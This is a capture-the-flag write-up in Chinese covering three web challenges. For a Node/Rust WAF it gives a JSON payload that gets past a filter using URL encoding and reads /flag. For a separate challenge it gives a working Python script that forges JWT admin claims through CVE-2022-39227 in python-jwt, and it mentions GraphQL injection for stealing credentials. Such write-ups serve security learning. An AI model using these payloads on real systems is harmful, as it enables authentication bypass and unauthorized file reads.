RustWaf
先讀src,然後使用/readfile 傳入/flag可以進一步看到源碼
const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const { execFileSync } = require('child_process');
app.post('/readfile', function (req, res) {
let body = req.body.toString();
let file_to_read = "app.js";
const file = execFileSync('/app/rust-waf', [body], {
encoding: 'utf-8'
}).trim();
try {
file_to_read = JSON.parse(file)
} catch (e){
file_to_read = file
}
let data = fs.readFileSync(file_to_read);
res.send(data.toString());
});
app.get('/', function (req, res) {
res.send('see `/src`');
});
app.get('/src', function (req, res) {
var data = fs.readFileSync('app.js');
res.send(data.toString());
});
app.listen(3000, function () {
console.log('start listening on port 3000');
});
/flag
use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;
static BLACK_PROPERTY: &str = "protocol";
#[derive(Debug, Serialize, Deserialize)]
struct File{
#[serde(default = "default_protocol")]
pub protocol: String,
pub href: String,
pub origin: String,
pub pathname: String,
pub hostname:String
}
pub fn default_protocol() -> String {
"http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){
return String::from("./main.rs"); //這裡限制我們不能帶有flag和proc字段
}
if let Ok(json_body) = serde_json::from_str::<Value>(body) {
if let Some(json_body_obj) = json_body.as_object() {
if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
return String::from("./main.rs"); //這裡限制我們的json字段不能帶有protocol字段,但是下面限制我們是file結構體,這也就意味着我們一定要有protocol字段
}
}
//not contains protocol,check if struct is File
if let Ok(file) = serde_json::from_str::<File>(body) {//限制我們隻能是這個結構體
return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
}
} else{
//body not json
return String::from(body);
}
return String::from("./main.rs");
}
fn main() {
let args: Vec<String> = env::args().collect();
println!("{}", waf(&args[1])); //這裡把json的第二字段傳進去
}
但是在這裡
readFileSync這個方法是可以接收url編碼内容的
詳情見pysnow師傅的這篇
["file:","b","a","/%66%6c%61%67",""]
這樣就可以解析url編碼拿到
/flag
ezjava
沒接觸java,CC4試了一個下午,本地沒出,寄!日後複現。
webfun
考點jwt僞造1day+grahql注入
我這裡隻複現一下這個jwt僞造了,grahql隻能紙上談兵的看看了并不能實操
考到了jwt新出的CVE-2022-39227
抓包的時候有一串jwt,解碼出來之後可以看到
而我們點選頁面的各種功能提示都是權限不夠,那麼這裡也就是需要構造is_admin=1,在jwt這個版本更新之後,留下了檢測是否存在漏洞的pochttps://github.com/davedoesdev/python-jwt/blob/master/test/vulnerability_vows.py這個CVE的漏洞就是不需要公鑰以及私鑰就能構造出jwt的認證,稍作修改就可以更改:将裡面的sub=bob改成is_admin=1然後拿出來輸出一下
給出payload:
from datetime import timedelta
from json import loads, dumps
from common import generated_keys
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
def topic(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['is_admin'] = 1
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode(
(dumps(parsed_payload, separators=(',', ':'))))
# print (header+ '.' +fake_payload+ '.' +signature)
# print (header+ '.' + payload+ '.' +signature)
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
originaltoken = '''給出的jwt'''
topic = topic(originaltoken)
print(topic)
這樣就能夠以admin的形式登陸了
檢視flag還是不行,但是這裡還有一個查詢接口
苦于沒有環境,我就隻能口述了,利用graphql注入,注入出賬号密碼,最終登陸拿到flag